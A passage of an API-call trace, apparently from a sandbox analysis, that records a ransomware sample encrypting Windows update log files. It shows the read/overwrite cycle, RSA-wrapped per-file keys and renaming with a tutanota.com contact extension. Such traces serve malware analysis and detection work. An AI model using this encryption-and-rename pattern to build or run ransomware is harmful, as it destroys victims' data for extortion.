dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0153.094] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0153.094] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6538b0 [0153.094] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6558b8 [0153.094] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0153.110] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0153.110] WriteFile (in: hFile=0x694, lpBuffer=0x6558b8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6558b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0153.111] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0153.111] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6558b8 | out: hHeap=0x570000) returned 1 [0153.111] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0153.111] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.111] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.111] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0153.111] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0153.112] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0153.112] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0153.112] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="Ic8zSuHoYw1ADzOmwLI1F/F2Gjmhbr2qSPkC0KW3V4ISjkm0dS5UinnE9mTT2c5Y\n/ITjtQDydglaI343ARPGl1EYL6QR/jTyvDo6eRxVJnnhaDpHgjbX6EABbH8rmqpl\nsnzGWAhKXwMoZsUfNQ6hr1P8V52/P1c4eNGdFKymBGogSJFW842uVgj3n2sGIRR8\nLDEqyvOA3zWu6EQnsVW6BP82UDCTNag+7dW9uLKIEJvrcTbmHH6X8H7XkHN3BNlW\nTwAApaNAPZxc4TTO/NYHRW+9oWbDCuZJ6cK3t1K+mWyFpgSiokxEy+rvZiFZ3/Dk\n89JX37G8rIzj6RL2dVmUaA==\n", pcchString=0x2e3f9a8) returned 1 [0153.112] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0153.112] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.112] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.112] CloseHandle (hObject=0x694) returned 1 [0153.112] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0153.112] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.027.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.027.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.027.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.027.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0153.114] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60fd30 | out: hHeap=0x570000) returned 1 [0153.114] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc940 | out: hHeap=0x570000) returned 1 [0153.114] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653088 | out: hHeap=0x570000) returned 1 [0153.114] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6534b0 | out: hHeap=0x570000) returned 1 [0153.114] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x6528d0 [0153.114] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc940 [0153.114] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0153.114] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.026.etl", dwFileAttributes=0x80) returned 1 [0153.115] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652a00 [0153.115] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x60ff00 [0153.115] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652a00 | out: hHeap=0x570000) returned 1 [0153.115] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.026.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.026.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0153.115] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16384) returned 1 [0153.115] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4000) returned 0x6538b0 [0153.115] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4000) returned 0x6578b8 [0153.115] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x4000, lpOverlapped=0x0) returned 1 [0153.141] SetFilePointer (in: hFile=0x694, lDistanceToMove=-16384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0153.141] WriteFile (in: hFile=0x694, lpBuffer=0x6578b8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6578b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4000, lpOverlapped=0x0) returned 1 [0153.141] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0153.141] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6578b8 | out: hHeap=0x570000) returned 1 [0153.141] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4000 [0153.142] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.142] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.142] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0153.142] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0153.142] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0153.142] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0153.142] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="HDj42lg7AFne02SSm4CxJaCSJYZHPDJUihrJGYfvV/RwEqFTncCemiKbNl4Gjkf8\n/RN3cOY1Cr6Gda0fVqPIZTgq8IPW+EViSXZBTbllpOAhq7nlqfl9onJJRxKc4QJI\nfJ2eMr3VJIADZdtxho+RkjuF/1iuSyFm8YuyEpoqsnxSHUKkeuvgQvliYqTXHaxC\nRAIlebKDPdoJFxMvyJbr49H3moZgHiX6QMlCVayWGexoHTmrRqjMymtIW42h/jLl\n9OhTEQ7INjp0H6DyGwSvHRbW3Eoa7xY1V1gAX35fOISelpJ7fmlhND7NM593IgCK\nN1m500iQ4eTf4Sd6exNhgg==\n", pcchString=0x2e3f9a8) returned 1 [0153.142] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0153.142] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.142] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.142] CloseHandle (hObject=0x694) returned 1 [0153.143] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0153.143] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.026.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.026.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.026.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.026.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0153.144] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60ff00 | out: hHeap=0x570000) returned 1 [0153.144] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc940 | out: hHeap=0x570000) returned 1 [0153.144] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6528d0 | out: hHeap=0x570000) returned 1 [0153.144] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652c60 [0153.144] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc10 [0153.145] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0153.145] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.025.etl", dwFileAttributes=0x80) returned 1 [0153.145] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x6537a8 [0153.145] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x610388 [0153.145] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.025.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.025.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0153.145] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16384) returned 1 [0153.145] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4000) returned 0x6538b0 [0153.145] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4000) returned 0x6578b8 [0153.145] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x4000, lpOverlapped=0x0) returned 1 [0153.158] SetFilePointer (in: hFile=0x694, lDistanceToMove=-16384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0153.158] WriteFile (in: hFile=0x694, lpBuffer=0x6578b8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6578b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4000, lpOverlapped=0x0) returned 1 [0153.158] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4000 [0153.159] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.159] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.159] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0153.159] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0153.159] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0153.159] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0153.159] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="9//zrQcdK5md2ymhTynAsNDD5srQrjZMBgK2cRSSbO0EttNDn4riKj7Etufj9BOq\nphZ6wt6PCH3cGPiiQmQDZo/Iq5lZTxH4u7p/QzlHi+SF2VqkcftWyJYkc4PF5IB9\n/M12f/UDiUl4mJgEfa+9c7W1Maue0ylRPFsr3UnrAYhmfIE9FXez2bmPVH9aVpJ9\nPT1eTIVERC42w8w4JFEgu3VViJMq5XuHusqCxxk/XFg0pGAbUdcKenn/pI7HVvdt\nX8SQxPqwAxoAp2//MZZzb7aN4IboyCJCW7Yvn5DfgTqjxXiE3+HVm/YAT7knmrCU\n4p/BI9sE/niY4vbROVn1lg==\n", pcchString=0x2e3f9a8) returned 1 [0153.159] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0153.159] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.159] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.159] CloseHandle (hObject=0x694) returned 1 [0153.159] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0153.160] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.025.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.025.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.025.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.025.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0153.161] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x610388 | out: hHeap=0x570000) returned 1 [0153.161] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc10 | out: hHeap=0x570000) returned 1 [0153.161] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652c60 | out: hHeap=0x570000) returned 1 [0153.161] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652a98 | out: hHeap=0x570000) returned 1 [0153.161] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652a00 [0153.161] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc940 [0153.161] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0153.161] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.024.etl", dwFileAttributes=0x80) returned 1 [0153.167] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652bc8 [0153.167] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x60fa78 [0153.167] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652bc8 | out: hHeap=0x570000) returned 1 [0153.167] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.024.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.024.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0153.167] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0153.167] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6538b0 [0153.167] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6558b8 [0153.167] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0153.190] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0153.190] WriteFile (in: hFile=0x694, lpBuffer=0x6558b8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6558b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0153.190] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0153.191] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6558b8 | out: hHeap=0x570000) returned 1 [0153.191] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0153.191] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.191] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.191] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0153.191] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0153.192] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0153.192] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0153.192] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="uENxXFvgJKxA33AUYoXAx1R8RpmaNCvh2oqeN2183hx6XnDPAl8tjxDgLwb495CU\nsZQx6ejjyvkrfO5iYdKZDxtAr4uoeEcNE6EcYNJwM4IbCJJvQfwKdDnYeIivPrjv\nQ5nGTW1/Rlh1jicqvQ8vZlDY3BDjQoPc4O/uWFD6r1yvd8kmElZPbAGRUSd+omfh\nUiA9V4ULA06EJ3PAEJ5WV41Oi4qZy1pHXHFUsDY7BzF47xkSX22C3FnxBh4DGyD+\n9OTMMV4pra6pOzJQVppaj7qh+zz3ActPyoiMbEfJPJ/NsiSdNPEbNOh2LImzmjjC\n+p2Vy3TAAPMPqfgw7FNtrw==\n", pcchString=0x2e3f9a8) returned 1 [0153.192] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0153.192] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.192] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.192] CloseHandle (hObject=0x694) returned 1 [0153.192] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0153.192] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.024.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.024.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.024.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.024.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0153.194] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60fa78 | out: hHeap=0x570000) returned 1 [0153.194] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc940 | out: hHeap=0x570000) returned 1 [0153.194] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652a00 | out: hHeap=0x570000) returned 1 [0153.194] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652ff0 | out: hHeap=0x570000) returned 1 [0153.194] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x653380 [0153.194] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc10 [0153.194] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0153.194] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.023.etl", dwFileAttributes=0x80) returned 1 [0153.195] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652cf8 [0153.195] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x610728 [0153.195] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652cf8 | out: hHeap=0x570000) returned 1 [0153.195] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.023.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.023.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0153.195] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0153.195] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6538b0 [0153.195] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6558b8 [0153.195] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0153.221] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0153.221] WriteFile (in: hFile=0x694, lpBuffer=0x6558b8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6558b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0153.221] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0153.221] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6558b8 | out: hHeap=0x570000) returned 1 [0153.221] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0153.221] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.221] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.222] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0153.222] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, 